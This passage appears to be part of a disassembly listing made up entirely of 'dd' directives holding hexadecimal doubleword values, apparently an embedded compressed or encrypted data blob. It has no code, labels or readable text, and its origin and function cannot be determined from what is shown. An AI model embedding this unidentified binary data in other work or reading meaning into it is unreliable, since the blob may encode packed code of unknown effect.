		dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh
		dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h,	0B0279943h
		dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh,	0C183BE5Ah
		dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h
		dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h
		dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h,	0EB15FF60h
		dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h
		dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h,	287C0A6Ah
		dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h
		dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah,	458A006Ah
		dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h
		dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h
		dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h,	7DA91A7Ch
		dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh
		dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh,	5700D102h
		dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h
		dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh,	9C2C39h
		dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h
		dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h
		dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h
		dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h,	52450F1Bh
		dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh
		dd 1AEE224h, 308298E9h,	0C83A41B0h, 4799B0Dh, 407F7700h
		dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h
		dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah
		dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h
		dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h,	0F8347B59h
		dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh
		dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h,	65F27Eh
		dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h
		dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h
		dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h,	0C82CB5h
		dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch
		dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h,	6F9B014Ah
		dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h
		dd 64F7600h, 41B10CBCh,	61FC6400h, 65633B6Eh, 19200029h
		dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh
		dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh
		dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h
		dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h
		dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch,	99D7841Dh
		dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh
		dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h
		dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h
		dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h,	8FEED912h
		dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h
		dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h
		dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h
		dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh
		dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h,	94F7FA3h
		dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h
		dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h
		dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h
		dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h
		dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h
		dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch
		dd 3047D83h, 5570C09Bh,	0D0E70EC8h, 12BC62B8h, 0CAD95200h
		dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h,	0F601AF27h
		dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h
		dd 38840800h, 2761012h,	56E90009h, 33557EA5h, 6E1C8B78h
		dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh
		dd 18EC0C99h, 12A95A8h,	0AC0E495Fh, 0D8727D81h,	0FD007F63h
		dd 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah
		dd 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah
		dd 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h
		dd 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h
		dd 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h
		dd 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h,	0F202131Eh
		dd 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h
		dd 429800E0h, 10F9C0Eh,	8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h
		dd 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h,	0BEF93C48h
		dd 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h
		dd 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh
		dd 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h,	3D81D140h
		dd 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh
		dd 0B4B80A62h, 81AE1Eh
		dd 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h, 31E075EEh
		dd 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h, 18890235h
		dd 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch, 4BC32Bh
		dd 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch,	4CE208h
		dd 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h,	94BC2441h
		dd 0F61E3Ah, 8B28BB3Ah,	48010537h, 2C438319h, 42301221h
		dd 14660030h, 16BE8B50h, 0FE00344Ah, 7B80DE02h,	0D6C103h
		dd 0F2B0576Eh, 0EA52BA68h, 5900D5ECh, 0F84E8D6Dh, 6C0394Ah
		dd 7705F980h, 49FAFC51h, 1904DAFAh, 1708B710h, 29C01E87h
		dd 0B8913248h, 89560009h, 33EB684Bh, 7A1CC72Bh,	6E407980h
		dd 1081322h, 88191D90h,	1E101D02h, 3E071E04h, 0CEF62780h
		dd 0DE89F1Bh, 850F240Bh, 8A3980CCh, 73E43h, 1D74052Ch
		dd 4F83C8FEh, 0F50EE3Ah, 0D488FA08h, 842E00BCh,	0AAEDE93Fh
		dd 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h,	48F38918h
		dd 8009939h, 0C8C111ADh, 8E00D509h, 14550E9h, 0FA1833FDh
		dd 25F822h, 367B8D05h, 0EB1354BEh, 5C9DA30Fh, 17E980C3h
		dd 14801ABh, 425E8414h,	0EDE4F2B4h, 5CBCE488h, 74F244F2h
		dd 5026A9F2h, 57038171h, 0B80B20EDh, 3E548602h,	6583C976h
		dd 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch, 7614868Ah
		dd 5D450349h, 97D45942h, 0BDA400F5h, 93208BF1h,	0E807CC98h
		dd 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh, 11012C3Ch
		dd 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h,	5310601Dh
		dd 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h, 0D40B944Fh
		dd 0ED145Ch, 136DA48Fh,	0E274067Ch, 4409000Eh, 3E882E1Eh
		dd 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h,	0E6A01499h
		dd 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h, 0EB2B5A20h
		dd 7CD7F07h, 47332C0Ah,	81069017h, 1D3A9024h, 4014C95Fh
		dd 0E57C115Dh, 4C00210Eh, 3BF23C10h, 264B22BCh,	19142Ah
		dd 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h,	9FB0000Ah
		dd 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h, 36383420h
		dd 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h, 0ECFA5390h
		dd 2E0F323Ch, 0FD660D4h, 80BDCAE7h, 7257865Fh, 2DE06269h
		dd 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h, 3400291Ch
		dd 505B7660h, 695D03h, 2F856D75h, 0D4309401h, 535E3Ah
		dd 0C2E349BCh, 436517h,	0B6B2BE1Ch, 6D90B56Eh, 58007298h
		dd 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h, 11905098h
		dd 4D002809h, 8C27646Fh, 295525h, 0A534482Ch, 0CD9AFAD8h
		dd 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h, 4264A128h
		dd 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h,	0A87C4027h
		dd 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh, 0E0B9C45Eh
		dd 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh, 69E0BF80h
		dd 8DD4468Ah, 0A074020Eh, 50137D09h, 0B01E005Ch, 114B9487h
		dd 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h, 0B0481732h
		dd 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh, 479430Bh
		dd 4CCA7831h, 2000E698h, 76324D58h, 0EE476113h,	957C002Eh
		dd 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh,	584D5Ah
		dd 5E2D48Fh, 93D30A29h,	0BF00CB7Ah, 0C1901512h,	7850B346h
		dd 9443072Ch, 117ABC49h, 0C0F78498h, 3000540h, 8788021h
		dd 0E8F0110h, 0EAA90750h, 0FE09BBC1h, 0E9D260CAh, 0B1793113h
		dd 2078E700h, 3E429C7Ah, 8880C6C1h, 0C0219829h,	832E084Eh
		dd 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h, 5B0799F3h
		dd 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh,	0FC14A13Eh
		dd 2CC41C0Bh, 50EB80C2h, 875C1175h, 88649002h, 0E353798Ch
		dd 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h,	84790F3Ch
		dd 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh,	290E5228h
		dd 7972E820h, 22351803h, 0B985ADF4h, 8AE04B2Dh,	302C0ED4h
		dd 0DC60A9D3h, 32FC3143h, 33F98700h, 0F124E50Bh, 0F57C03CBh
		dd 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h, 3955E8h
		dd 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah, 76968CBh
		dd 587F8470h, 0C3E4435Ch, 6007E8C3h, 0EC100146h, 6404B290h
		dd 0F0F251h, 725411D8h,	736E6103h, 74656D00h, 437C19B6h
		dd 775727Bh, 0DC34916Fh, 54CC429Dh, 8AABD540h, 320B9501h
		dd 5C19580Ch, 0F8EB60D1h, 984662A5h, 0C627018Eh, 86774B85h
		dd 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h, 3641378h
		dd 45287C14h, 780521Fh,	0DC008496h, 0E8C0C68Fh,	570400ABh
		dd 32517353h, 76765652h, 0FAB32F04h, 218068DBh,	1624884h
		dd 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h,	559F8CC0h
		dd 4D0390h, 0C87D8194h,	716E6547h, 1B6F7500h, 1E69EF12h
		dd 90493B9Eh, 0AF942785h, 70FE808Dh, 331F8471h,	41C069EBh
		dd 0D6874F9h, 94101C38h, 0A3634724h, 30451ABh, 9152E4EBh
		dd 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h, 102A6461h
		dd 0EB024124h, 8248110Eh, 0F8832080h, 9565095h,	0B657E90Eh
		dd 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh, 1A029100h
		dd 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh, 0C1007B69h
		dd 873DF441h, 50D3622h,	3E25C889h, 4B8C042h, 0F03F6373h
		dd 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h, 0B1AB39CAh
		dd 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh,	30B62A12h
		dd 1A93867h, 59510A0Fh,	658FA0B8h, 1C1745FEh, 7F06BD80h
		dd 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah, 2B52A19h
		dd 0CB7516h, 69307659h,	80E06704h, 0E9E46D00h, 4CD2AA13h
		dd 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h, 0C114EE6Ah
		dd 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h,	282993h
		dd 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h,	4B829AEh
		dd 2B641F03h, 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh, 0C2408E03h
		dd 83CA81C6h, 8705E0CEh, 18ED009Ah, 4C331E45h, 48000666h
		dd 10EBC1F6h, 18F44E0Fh, 0AECF25AAh, 4301B738h,	1E3F7EA1h
		dd 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh, 157AE66Bh
		dd 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h,	5B7A592Ah
		dd 19CD58A8h, 8C55D800h, 0E89F51B9h, 0B7280016h, 5CBA0B4Eh
		dd 4801FBC9h, 1B8D108Bh, 0A6D8E974h, 0FC7540h, 0AD9B914h
		dd 354A5C20h, 44008874h, 73102B74h, 7658B2AEh, 0BC30E717h
		dd 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h,	0ACA41040h
		dd 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh, 1E5700B6h
		dd 8C3DA1BCh, 0C000BEA0h, 7D258D13h, 73B30A2h, 0B5F8FB8Bh
		dd 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh,	17AB0082h
		dd 0EA34DC5Dh, 87002C45h, 597E294Bh, 1184A1Bh, 0BA9444CBh
		dd 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h,	0B1404D54h
		dd 30FD3896h, 285C0CFCh, 83090115h, 5054A4C4h, 0FECB59C4h
		dd 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh, 0A016484Fh
		dd 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h,	0B1569FA2h
		dd 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh, 1100B26h
		dd 3D801499h, 2AE15B18h, 0A4EFB0h, 98CE92BFh, 7E591277h
		dd 0B409C401h, 25A656A3h
		dd 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh, 99C0A543h
		dd 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh, 221A390Ah
		dd 0F8442AA9h, 0EB00883Ch, 5C61976h, 2601E7A0h,	0FA96DE5h
		dd 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h, 0E65B800h
		dd 391048BCh, 0CC00059h, 0C4908529h, 156719C8h,	54F02006h
		dd 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h, 0AB4E104Dh
		dd 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh,	923B5F00h
		dd 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h, 0DFFE3862h
		dd 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h, 2934CC06h
		dd 1EE42D83h, 5C1A0102h, 0E0406F2Ch, 0B0A26E1Ch, 0C5CC00C3h
		dd 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h,	14EEAE8h
		dd 8FDDCEEAh, 0D4C709D2h, 0C60FE099h, 0E02AB67Ah, 0D62B49AEh
		dd 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h, 64BCD3B7h
		dd 0F9532610h, 80FD0001h, 870D048Fh, 0BF2A9E03h, 0A04FA86Bh
		dd 0AC6865h, 40C683D1h,	0B0F8608h, 1448C0EEh, 0A5AD0063h
		dd 642D24FBh, 580203F5h, 76DB850Ch, 21C144C0h, 4BCD8600h
		dd 0BC7C247Fh, 0EF07A4Ah, 56107005h, 3D0C36E3h,	0DF5144D8h
		dd 6E297A00h, 8833022Bh, 75080042h, 1643C394h, 0E047953h
		dd 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h, 8000F6F0h
		dd 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h, 7E0010B4h
		dd 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah, 72006116h
		dd 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh, 7906C3Eh
		dd 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h,	78E6304Bh
		dd 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h, 0D06023D6h
		dd 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh, 2F22F114h
		dd 244EC8DDh, 0E4082112h, 8C6C8000h, 2CFEF084h,	0CAEE65h
		dd 1625DCF4h, 3400AA11h, 6A9488F3h, 0ABCF4Fh, 54801B6Ch
		dd 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h, 6B5C7F1h
		dd 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h, 3A294100h, 8D8263BCh
		dd 0F87885h, 1975809Ah,	92D2FCF4h, 0D1411300h, 0FEEC5D43h
		dd 9DD000E4h, 5F0B0879h, 50E41E5Bh, 856D7100h, 0F7659784h
		dd 1294004Ah, 2224CA1Dh, 5C0B0810h, 80727453h, 0A5AB2D16h
		dd 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h, 4A82BEh
		dd 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h, 880B39ECh
		dd 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h, 0BA40F22h
		dd 28447291h, 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh, 25876C33h
		dd 927900DEh, 12633018h, 0C848D48Bh, 0ACBC00F4h, 178DB6C4h
		dd 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h, 24985980h
		dd 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh, 0E445400h
		dd 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h, 0E0F82930h
		dd 27D8ABF2h, 87640018h, 6BC58E6Dh, 0C8F72873h,	0B200D142h
		dd 0B14F2610h, 9055E5h,	947AC427h, 814475Ah, 0D6D18001h
		dd 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h, 90E34B16h
		dd 0DCC47F00h, 7C44D148h, 0ABF07EDh, 40B36965h,	12B47542h
		dd 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h, 8B59165h
		dd 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h, 31A1866h
		dd 88104619h, 0C8064301h, 1890141Bh, 2E9104E0h,	73A381Ch
		dd 50AE961Ah, 0D27CB865h, 29339F00h, 13AB9C4Ah,	1038000Fh
		dd 2E642B25h, 14F02703h, 87D2AD00h, 53588011h, 0FB478B1h
		dd 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh,	79E107D9h
		dd 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h, 588AD620h
		dd 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh, 0FA34D4h
		dd 0E2C87232h, 0C9128937h, 8CB7D901h, 0F188A18Bh, 5562D0h
		dd 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h,	32A5251h
		dd 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h,	38A473h
		dd 0C29887E9h, 145A52E6h, 369FB40Eh, 0BF2B0Fh, 8E1F3EACh
		dd 471000Bh, 0FD27CCFEh, 5F01AF12h, 38EA1CD1h, 0C0D44754h
		dd 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h,	0BA805D4Ch
		dd 809044Dh, 3C0F0370h,	6F7788B1h, 298BB6B8h, 69DE7503h
		dd 0FA99554Bh, 3654E00Ch, 2B4300AFh, 0A5D4459Fh, 0AD010576h
		dd 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh,	0C1695D8Ch
		dd 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh, 0C0E0047h
		dd 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h,	0D9A50077h
		dd 0CEB62A4h, 3F002171h, 1711DBA7h, 686C6Ah, 74D83BC0h
		dd 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h, 4FDF77E3h
		dd 290024ABh, 48165D4Bh, 0B00C06C3h, 0CE090C9Ch, 66B23908h
		dd 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h, 6CC1EBCEh
		dd 595C2300h, 0E26A90E5h, 3A8100A0h, 2E1977D0h,	6F009B89h
		dd 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h, 0EE604504h
		dd 5700CC17h, 5882FEE9h, 58474048h, 2E10033h, 0C1F5FA2Ch
		dd 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h, 1F061CE3h
		dd 7EBD0043h, 4194D48h,	0FA008001h, 5302BB05h, 3C32EBh
		dd 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh, 4C50FF5h
		dd 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh, 0D9495C30h
		dd 34D9AA00h, 8448E36Bh, 3DC93200h, 0B95E882Fh,	12760391h
		dd 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h,	0B2900010h
		dd 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh, 0C6126CF4h
		dd 5D4A2404h, 935B801h,	3B5564BAh, 0E0FCADF5h, 0FE840042h
		dd 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h, 0FE103B8Ch
		dd 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h,	0E388559Fh
		dd 0B19011h, 8BA71F0Dh,	8577F8BAh, 81A09E4Ah, 115F00D0h
		dd 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h, 0B9D400DBh
		dd 86E7226Ch, 7E7D7428h, 52897F05h, 0BE0092ADh,	1D8D70EBh
		dd 661A1D98h, 850580D6h, 28215346h, 4D75E207h, 40903E9Ch
		dd 6132CBh, 6F881931h, 0E655697h, 6AE91F05h, 0D60E03AEh
		dd 0C622E005h, 0AB2550h, 121DA511h, 0AF0A5406h,	1244C00h
		dd 77714FDh, 68FE6303h,	5E05B8Ah, 5F3B5D62h, 0A25A03B3h
		dd 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h, 10F688EFh
		dd 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h, 54015DE7h
		dd 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh, 0B8F0D860h
		dd 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h, 0A4290532h
		dd 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h,	5800EF32h
		dd 19F7EAA7h, 0F8BD7076h, 223B00D7h, 2C683603h,	2E008D66h
		dd 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h, 0BD49F300h
		dd 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h,	68D413C0h
		dd 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h, 8FE87AEBh
		dd 763BC812h, 1AF50710h, 0B7D7C429h, 0C0F1A8D1h, 0C81BD3FCh
		dd 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h, 4303B022h
		dd 148D7A37h, 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh,	5F4DA4D1h
		dd 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h, 0A5691094h
		dd 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h, 943DA9ACh
		dd 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h, 0FF007775h
		dd 57ADCC67h, 0BC002C9Eh
		dd 0DAE74272h, 0C34316h, 0EB22354Eh, 1D6CD5CCh,	13D895h
		dd 3768B8B9h, 0C5648DBh, 0D8BD0B00h, 41FA4E4h, 5FE800D6h
		dd 0E3FE0146h, 0E2F4297Eh, 0F44D6200h, 17B11E9Ch, 0A5C00ACh
		dd 4FF2C727h, 1B002910h, 0DA6CB74Ah, 3E3BA908h,	5F8346C2h
		dd 0EE58E276h, 515EB5E0h, 30E1F43Ah, 3E1378D4h,	0A8BC0020h
		dd 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h,	0F982008Fh
		dd 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh, 0F7700651h
		dd 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h, 0ECC28EF4h
		dd 0DBF12124h, 3A14538h, 6838801Ah, 0AAAA875h, 94431FFDh
		dd 6E90004h, 0C525A2D9h, 0E88660E3h, 2AD0AF60h,	0FC2336h
		dd 6E3BBF7h, 1DF8682Fh,	0A0F4EA00h, 86C42B13h, 0A11C0721h
		dd 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h, 0B44AE3h
		dd 9E151AA0h, 0CA2B89B6h, 458BD401h, 952AA2B8h,	1D6B0F20h
		dd 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh, 71F07908h
		dd 89AF0F84h, 34228CD4h, 0E3E35465h, 87EB50EBh,	25FF16F8h
		dd 0C0F84400h, 1C401099h, 478E003Ch, 91342338h,	2C00C830h
		dd 247228E4h, 0E21C2039h, 18412D8Eh, 3F30D4h, 0A4C4B4A6h
		dd 3E6D29DDh, 5002814h,	94E8F35Ah, 0B5F2BF4Fh, 8404D000h
		dd 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h, 2EFF0B7Ch
		dd 0FED175h, 7D3944BDh,	4C740482h, 9B3FEB00h, 7B8AF19h
		dd 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh,	3BF7750Ah
		dd 5C0AE0BFh, 1E964E35h, 0CB02C121h, 0E8A5E983h, 410072FBh
		dd 880F7F0Ch, 2402C4Ch,	75CAFE0Dh, 0AFC0DAA3h, 0B10023F9h
		dd 6E22DDABh, 0B540F6h,	51E29456h, 2DC5BE53h, 69DE0F2Eh
		dd 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h, 8205D4ADh
		dd 4A10700h, 182B376Ch,	1688006Bh, 22F35EDEh, 531C4FD7h
		dd 0EDD2C220h, 7998B900h, 28FF6B26h, 0BC2CA6h, 0C7031E14h
		dd 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h, 422ABE3h
		dd 2C71C582h, 0E4888032h, 8900141Fh, 2E051043h,	1060Ch
		dd 667F6854h, 3D53004h,	0DF6EC800h, 0C6097D60h,	6B484805h
		dd 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh, 0B7452501h
		dd 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h,	0E7AE3507h
		dd 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh, 0D3F87556h
		dd 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h, 0B39F1400h
		dd 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh,	2E35A6A0h
		dd 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h, 0C2A4AC15h
		dd 77A4848h, 81274A58h,	0F3EB2053h, 0B204D085h,	145C77D7h
		dd 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h, 0CCE1A300h
